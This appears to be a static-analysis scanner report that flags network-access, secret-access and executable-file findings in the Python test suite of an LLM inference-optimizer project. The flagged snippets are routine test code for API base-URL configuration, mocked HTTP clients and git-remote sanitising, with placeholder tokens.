kwargs = resolve_openai_client_config(env=dict(_ANTHROPIC_ONLY_ENV)).as_kwargs() assert kwargs["base_url"] == "https://llm-api.amd.com/Unified/v1" - Network accessline 315
assert kwargs["base_url"] == "https://llm-api.amd.com/Unified/v1" - Network accessline 321
kwargs = resolve_openai_client_config( env={**_ANTHROPIC_ONLY_ENV, "OPENAI_BASE_URL": "https://other-host.example/v1"} - Network accessline 322
env={**_ANTHROPIC_ONLY_ENV, "OPENAI_BASE_URL": "https://other-host.example/v1"} - Network accessline 323
).as_kwargs() assert kwargs["base_url"] == "https://other-host.example/v1" assert "default_headers" not in kwargs - Network accessline 324
assert kwargs["base_url"] == "https://other-host.example/v1" - Network accessline 338
with pytest.raises(LLMConfigError) as excinfo: resolve_openai_client_config(env={"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic"}).as_kwargs() - Network accessline 339
resolve_openai_client_config(env={"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic"}).as_kwargs() - Access to secretsline 341
[Credential-related source omitted] - Network accessline 347
env={ "_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://api.openai.com/v1", - Network accessline 348
"_".join(("OPENAI", "API", "KEY")): "openai-token", "OPENAI_BASE_URL": "https://api.openai.com/v1", "_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", - Network accessline 349
"OPENAI_BASE_URL": "https://api.openai.com/v1", - Network accessline 350
"_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", } - Network accessline 351
"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 354
[Credential-related source omitted] - Network accessline 355
[Credential-related source omitted] - Access to secretsline 355
[Credential-related source omitted] - Network accessline 356
"base_url": "https://api.openai.com/v1", - Network accessline 360
def test_openai_kwargs_requires_a_key(): with pytest.raises(LLMConfigError): resolve_openai_client_config(env={"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic"}).as_kwargs() - Network accessline 362
resolve_openai_client_config(env={"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic"}).as_kwargs() - Network accessline 365
def test_deepseek_compat_env_is_empty_without_legacy_vars(): assert deepseek_compat_env({}) == {} assert deepseek_compat_env({"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}) == {} - Network accessline 367
assert deepseek_compat_env({"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}) == {} - Network accessline 372
updates = deepseek_compat_env({_LEGACY_KEY: "deepseek-token"}) assert updates["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Network accessline 373
assert updates["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Network accessline 374
assert updates["OPENAI_BASE_URL"] == "https://api.deepseek.com/v1" - Network accessline 383
("legacy_url", "anthropic_url", "openai_url"), [ ("https://gw.example/anthropic", "https://gw.example/anthropic", "https://gw.example/v1"), - Network accessline 384
[ ("https://gw.example/anthropic", "https://gw.example/anthropic", "https://gw.example/v1"), ("https://gw.example/v1", "https://gw.example/anthropic", "https://gw.example/v1"), - Network accessline 385
("https://gw.example/anthropic", "https://gw.example/anthropic", "https://gw.example/v1"), - Network accessline 386
("https://gw.example/v1", "https://gw.example/anthropic", "https://gw.example/v1"), - Network accessline 387
("https://gw.example/anthropic/", "https://gw.example/anthropic", "https://gw.example/v1"), - Network accessline 388
("https://gw.example", "https://gw.example", "https://gw.example/v1"), - Network accessline 399
"""``https://api.deepseek.com`` is the documented OpenAI base, not a root.""" - Network accessline 400
updates = deepseek_compat_env({_LEGACY_KEY: "t", "DEEPSEEK_BASE_URL": "https://api.deepseek.com"}) - Network accessline 401
assert updates["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Network accessline 402
assert updates["OPENAI_BASE_URL"] == "https://api.deepseek.com/v1" - Network accessline 408
{"_".join(("ANTHROPIC", "API", "KEY")): "sk-explicit"}, {"_".join(("ANTHROPIC", "AUTH", "TOKEN")): "sk-explicit"}, {"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}, - Network accessline 409
{"_".join(("ANTHROPIC", "AUTH", "TOKEN")): "sk-explicit"}, {"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}, ], - Network accessline 410
{"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}, - Access to secretsline 420
[Credential-related source omitted] - Network accessline 432
env={ api_key_var: "sk-explicit", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 433
api_key_var: "sk-explicit", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", _LEGACY_KEY: "sk-legacy", - Network accessline 434
"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 444
defaults = provider_model_defaults( { "ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic", - Network accessline 445
{ "ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic", "OPENAI_BASE_URL": "https://api.deepseek.com/v1", - Network accessline 446
"ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic", - Network accessline 447
"OPENAI_BASE_URL": "https://api.deepseek.com/v1", - Network accessline 467
defaults = provider_model_defaults( { "ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic", - Network accessline 468
{ "ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic", "OPENAI_BASE_URL": "https://api.deepseek.com/v1", - Network accessline 469
"ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic", - Network accessline 470
"OPENAI_BASE_URL": "https://api.deepseek.com/v1", - Network accessline 482
"env", [ {"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}, - Network accessline 483
[ {"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}, {"OPENAI_BASE_URL": "https://api.openai.com/v1"}, - Network accessline 484
{"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}, - Network accessline 485
{"OPENAI_BASE_URL": "https://api.openai.com/v1"}, - Network accessline 486
{ "ANTHROPIC_BASE_URL": "https://llm.amd.example/Anthropic", "OPENAI_BASE_URL": "https://llm.amd.example/Unified/v1", - Network accessline 487
"ANTHROPIC_BASE_URL": "https://llm.amd.example/Anthropic", - Network accessline 488
"OPENAI_BASE_URL": "https://llm.amd.example/Unified/v1", - Network accessline 500
{ _LEGACY_KEY: "deepseek-token", "OPENAI_BASE_URL": "https://gateway.example/v1", - Network accessline 501
_LEGACY_KEY: "deepseek-token", "OPENAI_BASE_URL": "https://gateway.example/v1", "_".join(("OPENAI", "API", "KEY")): "gateway-token", - Network accessline 502
"OPENAI_BASE_URL": "https://gateway.example/v1", - Network accessline 508
assert "_".join(("OPENAI", "API", "KEY")) not in updates assert "CLAUDE_MODEL" not in updates assert updates["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Network accessline 510
assert updates["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Network accessline 516
{ _LEGACY_KEY: "sk-legacy", "OPENAI_BASE_URL": "https://gateway.example/v1", - Network accessline 517
_LEGACY_KEY: "sk-legacy", "OPENAI_BASE_URL": "https://gateway.example/v1", "_".join(("OPENAI", "API", "KEY")): "sk-gateway", - Network accessline 518
"OPENAI_BASE_URL": "https://gateway.example/v1", - Network accessline 526
assert updates["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Access to secretsline 571
[Credential-related source omitted] - Network accessline 581
assert opts["setting_sources"] == [] child_env = opts["env"] assert child_env["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Network accessline 582
child_env = opts["env"] assert child_env["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" assert child_env["_".join(("ANTHROPIC", "API", "KEY"))] == "deepseek-token" - Network accessline 583
assert child_env["ANTHROPIC_BASE_URL"] == "https://api.deepseek.com/anthropic" - Network accessline 617
env={ "_".join(("DEEPSEEK", "API", "KEY")): "deepseek-token", "DEEPSEEK_BASE_URL": "https://deepseek.example/anthropic", - Network accessline 618
"_".join(("DEEPSEEK", "API", "KEY")): "deepseek-token", "DEEPSEEK_BASE_URL": "https://deepseek.example/anthropic", }, - Network accessline 619
"DEEPSEEK_BASE_URL": "https://deepseek.example/anthropic", - Network accessline 621
) child_env = opts["env"] assert child_env["ANTHROPIC_BASE_URL"] == "https://deepseek.example/anthropic" - Network accessline 623
assert child_env["ANTHROPIC_BASE_URL"] == "https://deepseek.example/anthropic" - Network accessline 629
env={ "_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 630
"_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", "ANTHROPIC_CUSTOM_HEADERS": "Ocp-Apim-Subscription-Key: operator-key", - Network accessline 631
"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 641
env={ "_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm-api.amd.com/anthropic", - Network accessline 642
"_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm-api.amd.com/anthropic", "ANTHROPIC_CUSTOM_HEADERS": "Ocp-Apim-Subscription-Key: ${ANTHROPIC_API_KEY}", - Network accessline 643
"ANTHROPIC_BASE_URL": "https://llm-api.amd.com/anthropic", - Access to secretsline 644
[Credential-related source omitted] - Network accessline 654
env={ "_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 655
"_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", } - Network accessline 656
"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 666
env={ "_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 667
"_".join(("ANTHROPIC", "API", "KEY")): "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", "OPENAI_CUSTOM_HEADERS": "Ocp-Apim-Subscription-Key: openai-key", - Network accessline 668
"ANTHROPIC_BASE_URL": "https://llm.example.invalid/anthropic", - Network accessline 704
env={ _OPENAI_KEY: "openai-token", "OPENAI_BASE_URL": "https://llm.example.invalid/Unified/v1", - Network accessline 705
_OPENAI_KEY: "openai-token", "OPENAI_BASE_URL": "https://llm.example.invalid/Unified/v1", "OPENAI_CUSTOM_HEADERS": "Ocp-Apim-Subscription-Key: ak-header", - Network accessline 706
"OPENAI_BASE_URL": "https://llm.example.invalid/Unified/v1", - Network accessline 711
[Credential-related source omitted] - Network accessline 712
[Credential-related source omitted] - Access to secretsline 712
[Credential-related source omitted] - Network accessline 713
"base_url": "https://llm.example.invalid/Unified/v1", - Access to secretsline 721
[Credential-related source omitted] - Access to secretsline 727
[Credential-related source omitted] - Access to secretsline 734
[Credential-related source omitted] - Access to secretsline 742
[Credential-related source omitted] - Access to secretsline 744
[Credential-related source omitted] - Network accessline 748
_install_fake_openai_sdk(monkeypatch) with pytest.raises(LLMConfigError, match="OPENAI_API_KEY"): get_async_openai_client(env={"OPENAI_BASE_URL": "https://api.openai.com/v1"}) - Access to secretsline 749
[Credential-related source omitted] - Network accessline 750
get_async_openai_client(env={"OPENAI_BASE_URL": "https://api.openai.com/v1"}) - Network accessline 784
_install_fake_httpx(monkeypatch) client = get_anthropic_client( env={_ANTHROPIC_KEY: "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm-api.amd.com/Anthropic/"} - Network accessline 785
client = get_anthropic_client( env={_ANTHROPIC_KEY: "ak-anthropic", "ANTHROPIC_BASE_URL": "https://llm-api.amd.com/Anthropic/"} ) - Network accessline 786
[Credential-related source omitted] - Access to secretsline 786
[Credential-related source omitted] - Network accessline 790
assert client.kwargs["base_url"] == "https://llm-api.amd.com/Anthropic" - Access to secretsline 798
[Credential-related source omitted] - Access to secretsline 803
[Credential-related source omitted] - Access to secretsline 805
[Credential-related source omitted] - Access to secretsline 815
[Credential-related source omitted] - Access to secretsline 826
[Credential-related source omitted] - Access to secretsline 833
[Credential-related source omitted] - Access to secretsline 835
[Credential-related source omitted] - Access to secretsline 840
[Credential-related source omitted] - Network accessline 846
_install_fake_httpx(monkeypatch) with pytest.raises(LLMConfigError, match="ANTHROPIC_API_KEY"): get_anthropic_client(env={"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}) - Access to secretsline 847
[Credential-related source omitted] - Network accessline 848
get_anthropic_client(env={"ANTHROPIC_BASE_URL": "https://api.anthropic.com"}) - Access to secretsline 854
[Credential-related source omitted] - Access to secretsline 856
[Credential-related source omitted] - Access to secretsline 967
[Credential-related source omitted] - Access to secretsline 977
[Credential-related source omitted] - Access to secretsline 989
[Credential-related source omitted] - Network accessline 1027
if len(dials) <= failures: raise error("connection refused", request=request) return httpx.Response(200, content=_events(_MESSAGE_BODY)) - Network accessline 1029
return httpx.Response(200, content=_events(_MESSAGE_BODY)) - Network accessline 1040
_GATEWAY_ENV = {_ANTHROPIC_KEY: "k", "ANTHROPIC_BASE_URL": "https://gw.invalid"} - Network accessline 1045
@pytest.mark.parametrize("proxy", [None, "http://proxy.invalid:8080"]) - Network accessline 1059
@pytest.mark.asyncio @pytest.mark.parametrize("proxy", [None, "http://proxy.invalid:8080"]) - Network accessline 1060
@pytest.mark.parametrize("proxy", [None, "http://proxy.invalid:8080"]) async def test_aanthropic_messages_redials_the_same_way(monkeypatch, proxy): httpx = pytest.importorskip("httpx") - Network accessline 1099
dials.append(request) time.sleep(_BUDGET_S) raise httpx.ConnectTimeout("connect timed out", request=request) - Network accessline 1101
raise httpx.ConnectTimeout("connect timed out", request=request) - Access to secretsline 1465
[Credential-related source omitted] - Access to secretsline 1488
[Credential-related source omitted] - Network accessline 1525
caller_env = {_OAUTH_ENV: _OAUTH_VALUE, "ANTHROPIC_BASE_URL": "https://gw.example"} - Access to secretsline 1583
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_llm_request_trajectory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_llm_stability_and_subprocess_kill.py
src/hyperloom/inference_optimizer/tests/test_llm_trace_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_lm_eval_install_once.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_local_kb_requirements.py
- Executable scriptline 1
Executable file - Network accessline 135
monkeypatch.setenv("KNOWLEDGE_STORE_MODE", "local") monkeypatch.setenv("KNOWLEDGE_LOCAL_ROOT", str(tmp_path)) monkeypatch.setenv("KB_STORE_URL", "https://ambient.invalid") - Network accessline 136
monkeypatch.setenv("KNOWLEDGE_LOCAL_ROOT", str(tmp_path)) monkeypatch.setenv("KB_STORE_URL", "https://ambient.invalid") monkeypatch.setenv("KB_STORE_TOKEN", "ambient-secret") - Network accessline 137
monkeypatch.setenv("KB_STORE_URL", "https://ambient.invalid")
src/hyperloom/inference_optimizer/tests/test_local_recipe_store.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_local_store.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_longrun_phase0.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_longrun_phase1.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_longrun_phase2.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_longrun_phase3.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_longrun_refinements.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_machine_state.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_magpie_confined.py
src/hyperloom/inference_optimizer/tests/test_magpie_patcher.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_magpie_patcher_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_manifest_unit.py
- Executable scriptline 1
Executable file - Network accessline 104
monkeypatch.setenv("MAGPIE_PATH", str(tmp_path)) monkeypatch.setattr(mf, "_git_revision_at", lambda p: "deadbee") monkeypatch.setattr(mf, "_git_remote_at", lambda p: "http://r") - Network accessline 105
monkeypatch.setattr(mf, "_git_revision_at", lambda p: "deadbee") monkeypatch.setattr(mf, "_git_remote_at", lambda p: "http://r") out = mf._describe_dep("MAGPIE_PATH") - Network accessline 106
monkeypatch.setattr(mf, "_git_remote_at", lambda p: "http://r") - Network accessline 108
assert out == {"path": str(tmp_path), "commit": "deadbee", "remote": "http://r"} - Network accessline 236
def test_git_remote_userinfo_is_stripped(monkeypatch): monkeypatch.setattr(mf, "_git_capture", lambda path, args: "https://user:tok3n@github.com/x/y.git") - Network accessline 237
monkeypatch.setattr(mf, "_git_capture", lambda path, args: "https://user:tok3n@github.com/x/y.git") - Network accessline 238
remote = mf._git_remote_at(Path("/repo")) assert "tok3n" not in remote and "user" not in remote assert remote == "https://github.com/x/y.git" - Network accessline 240
assert remote == "https://github.com/x/y.git"
src/hyperloom/inference_optimizer/tests/test_manifest_units.py
- Executable scriptline 1
Executable file - Network accessline 70
monkeypatch.setenv("MAGPIE_PATH", str(tmp_path)) monkeypatch.setattr(mf, "_git_revision_at", lambda p: "abc1234") monkeypatch.setattr(mf, "_git_remote_at", lambda p: "https://x/y.git") - Network accessline 71
monkeypatch.setattr(mf, "_git_revision_at", lambda p: "abc1234") monkeypatch.setattr(mf, "_git_remote_at", lambda p: "https://x/y.git") out = mf._describe_dep("MAGPIE_PATH") - Network accessline 72
monkeypatch.setattr(mf, "_git_remote_at", lambda p: "https://x/y.git") - Network accessline 73
out = mf._describe_dep("MAGPIE_PATH") assert out["commit"] == "abc1234" assert out["remote"] == "https://x/y.git" - Network accessline 75
assert out["remote"] == "https://x/y.git"
src/hyperloom/inference_optimizer/tests/test_map_mlperf.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_mcp_context_tools_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_mcp_tool_schemas_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_mlperf_framework_gate.py
src/hyperloom/inference_optimizer/tests/test_mock_backends.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_model_arch_advisory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_model_class_inference.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_model_config_compat_preflight.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_model_config_summary.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_model_config_tags.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_model_path_resolver.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_moe_runner_backend_injection.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_multi_node_bootstrap_env.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_multi_node_kept_patch_restore.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_multi_node_lifecycle_failures.py
- Executable scriptline 1
Executable file - Network accessline 41
monkeypatch.setattr(life, "_read_state", lambda: state) monkeypatch.setattr(life, "is_multi_node", lambda: True) monkeypatch.setattr(httpx, "AsyncClient", lambda *a, **k: real_client(transport=httpx.MockTransport(handler))) - Network accessline 42
monkeypatch.setattr(life, "is_multi_node", lambda: True) monkeypatch.setattr(httpx, "AsyncClient", lambda *a, **k: real_client(transport=httpx.MockTransport(handler))) return calls - Network accessline 43
monkeypatch.setattr(httpx, "AsyncClient", lambda *a, **k: real_client(transport=httpx.MockTransport(handler))) - Network accessline 49
_OK = httpx.Response(200) - Network accessline 50
_BASE = { "health": [_OK], "models": [httpx.Response(200, json={"data": [{"id": "m"}]})], - Network accessline 51
"health": [_OK], "models": [httpx.Response(200, json={"data": [{"id": "m"}]})], "completions": [httpx.Response(200, json={"usage": {"completion_tokens": 8}})], - Network accessline 52
"models": [httpx.Response(200, json={"data": [{"id": "m"}]})], - Network accessline 53
"completions": [httpx.Response(200, json={"usage": {"completion_tokens": 8}})], - Network accessline 54
} _INFERA = {"backend": "infera", "service_url": "http://front:8000"} _WORKERS = {"prefill_pods": [{"podIP": "10.0.0.1", "podId": "p0"}]} - Network accessline 55
_INFERA = {"backend": "infera", "service_url": "http://front:8000"} - Network accessline 73
"profile": (_INFERA, {"stop": [_OK]}, _profile, ["stop"]), "workers": (_WORKERS, {"health": [_OK]}, _workers, ["health", "health"]), "health": ({"service_url": "http://front:8000"}, {"health": [_OK]}, _health, ["health", "health"]), - Network accessline 74
"workers": (_WORKERS, {"health": [_OK]}, _workers, ["health", "health"]), "health": ({"service_url": "http://front:8000"}, {"health": [_OK]}, _health, ["health", "health"]), "models": (_INFERA, _BASE, _health, ["health", "models", " - Network accessline 75
"health": ({"service_url": "http://front:8000"}, {"health": [_OK]}, _health, ["health", "health"]), - Network accessline 90
@pytest.mark.parametrize("failure", [httpx.ConnectError("refused"), httpx.ReadTimeout("slow")])
src/hyperloom/inference_optimizer/tests/test_multi_node_scripts.py
- Executable scriptline 1
Executable file - Dangerous shell operationline 82
exec(compile(bundle, f"{script_name}_bundle.py", "exec"), mod.__dict__) - Network accessline 205
monkeypatch.setenv("MULTI_NODE_STATE_FILE", str(tmp_path / "state.json")) monkeypatch.setenv("INFERENCE_OPTIMIZER_NODES", "2") monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") - Network accessline 206
monkeypatch.setenv("INFERENCE_OPTIMIZER_NODES", "2") monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") monkeypatch.setenv("HYPERLOOM_MN_EXT_HEAD_IP", "10.0.0.9") - Network accessline 207
monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://frontend:8000") - Network accessline 235
monkeypatch.setattr(urllib.request, "urlopen", _fake_urlopen) monkeypatch.setattr(lm.time, "sleep", lambda _s: None) return lm._wait_pd_legs_health("http://10.0.1.1:30000", "http://10.0.1.2:30001", 1, log_dir=log_dir) - Network accessline 237
return lm._wait_pd_legs_health("http://10.0.1.1:30000", "http://10.0.1.2:30001", 1, log_dir=log_dir) - Access to secretsline 770
[Credential-related source omitted] - Access to secretsline 788
[Credential-related source omitted] - Network accessline 936
monkeypatch.setattr( "urllib.request.urlopen", - Network accessline 937
"urllib.request.urlopen", - Network accessline 951
monkeypatch.setattr("urllib.request.urlopen", _urlopen) - Access to secretsline 1014
[Credential-related source omitted] - Access to secretsline 1215
[Credential-related source omitted] - Network accessline 1260
_write_mn_state(tmp_path, monkeypatch, {"backend": "rayjob", "nodes": 2, "service_url": "http://h:8888"}) - Network accessline 1269
assert env["MAGPIE_EVAL_PYTHON"] == "/opt/venv/bin/python" assert env["BENCHMARK_BASE_URL"] == "http://h:8888" - Network accessline 1270
assert env["BENCHMARK_BASE_URL"] == "http://h:8888" - Network accessline 1275
_write_mn_state(tmp_path, monkeypatch, {"nodes": 2}) monkeypatch.setattr(mne, "external_service_url", lambda: "http://frontend:8000") - Network accessline 1276
monkeypatch.setattr(mne, "external_service_url", lambda: "http://frontend:8000") - Network accessline 1284
assert env["MAGPIE_EVAL_PYTHON"] == "/opt/venv/bin/python" assert env["BENCHMARK_BASE_URL"] == "http://frontend:8000" - Network accessline 1285
assert env["BENCHMARK_BASE_URL"] == "http://frontend:8000" - Network accessline 1342
monkeypatch.setenv("HYPERLOOM_MN_EXT_SERVICE_URL", "http://head:8888") - Access to secretsline 1349
[Credential-related source omitted] - Access to secretsline 1507
[Credential-related source omitted] - Network accessline 1508
[Credential-related source omitted] - Access to secretsline 1508
[Credential-related source omitted] - Network accessline 1509
[Credential-related source omitted] - Access to secretsline 1509
[Credential-related source omitted] - Network accessline 1510
"ANTHROPIC_BASE_URL": "https://secret.example/v1", - Access to secretsline 1513
[Credential-related source omitted] - Access to secretsline 1549
[Credential-related source omitted] - Network accessline 1832
logs = 'launch log line\n{"status": "ok", "prefill_url": "http://10.0.0.1:30000", "msg": "tail }"}\n' - Network accessline 1833
assert mn_cli._extract_launcher_summary(logs) == { "status": "ok", "prefill_url": "http://10.0.0.1:30000", - Network accessline 1834
"status": "ok", "prefill_url": "http://10.0.0.1:30000", "msg": "tail }", - Network accessline 1835
"prefill_url": "http://10.0.0.1:30000", - Network accessline 1844
logs = ( '{"status": "ok", "decode_url": "http://10.0.0.2:30001"}\n' - Network accessline 1845
'{"status": "ok", "decode_url": "http://10.0.0.2:30001"}\n' - Network accessline 1847
"WARN health undetermined; see prefill_0.log\n" ) assert mn_cli._extract_launcher_summary(logs) == {"status": "ok", "decode_url": "http://10.0.0.2:30001"} - Network accessline 1848
) assert mn_cli._extract_launcher_summary(logs) == {"status": "ok", "decode_url": "http://10.0.0.2:30001"} assert mn_cli._extract_launcher_summary("no json here") == {} - Network accessline 1849
assert mn_cli._extract_launcher_summary(logs) == {"status": "ok", "decode_url": "http://10.0.0.2:30001"}
src/hyperloom/inference_optimizer/tests/test_multimodal_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_multinode_server_log_dir.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_native_agentx_launch_evidence.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_native_geak_environment.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_objective.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_objective_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_optimization_journal.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_optimize_loop_walkthrough.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_optimize_phase_exit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_optimize_stack_dump.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_orchestration_banner.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_orchestration_feedback_patha.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_orchestration_memory.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_orchestration_prune_branch_permission.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_orphan_server_reaper.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_packaging_lint.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_param_search_renderer_units.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_parse_usage_unit.py
- Executable scriptline 1
Executable file - Network accessline 258
bearer_header = ": ".join(("Authorization", "Bearer secret-token-value")) bearer = pu._summarize_tool_input({"command": f"{bearer_header} https://x"}) - Network accessline 259
bearer = pu._summarize_tool_input({"command": f"{bearer_header} https://x"}) - Network accessline 263
[Credential-related source omitted] - Access to secretsline 263
[Credential-related source omitted] - Access to secretsline 286
[Credential-related source omitted] - Access to secretsline 294
[Credential-related source omitted] - Access to secretsline 470
[Credential-related source omitted] - Access to secretsline 473
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_partition_shape.py
- Executable scriptline 1
Executable file - Access to secretsline 460
[Credential-related source omitted] - Access to secretsline 586
[Credential-related source omitted] - Access to secretsline 593
[Credential-related source omitted] - Access to secretsline 594
[Credential-related source omitted] - Access to secretsline 601
[Credential-related source omitted] - Access to secretsline 618
[Credential-related source omitted] - Access to secretsline 644
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_patch_grounding_foreign_checkout.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_patch_grounding_unreadable_repo.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_patch_path_safety.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_patch_source_pr.py
- Executable scriptline 1
Executable file - Access to secretsline 31
[Credential-related source omitted] - Network accessline 79
dest = tmp_path / "missing.patch" ok, err = _fetch_diff_to_path( "http://127.0.0.1:1/does-not-exist.patch", - Network accessline 80
ok, err = _fetch_diff_to_path( "http://127.0.0.1:1/does-not-exist.patch", dest, - Network accessline 81
"http://127.0.0.1:1/does-not-exist.patch", - Network accessline 156
ok, err = _fetch_diff_to_path("https://example.test/pr.diff", dest, timeout_sec=5.0)
src/hyperloom/inference_optimizer/tests/test_per_domain_prompts.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_phase_budget_pct_cli.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_phase_cumulative_budget.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_phase_state_machine.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_phase_state_plateau.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_phase_timeline_renderer.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_policy_gate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_policy_helpers_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_policy_resource_rules.py
- Executable scriptline 1
Executable file
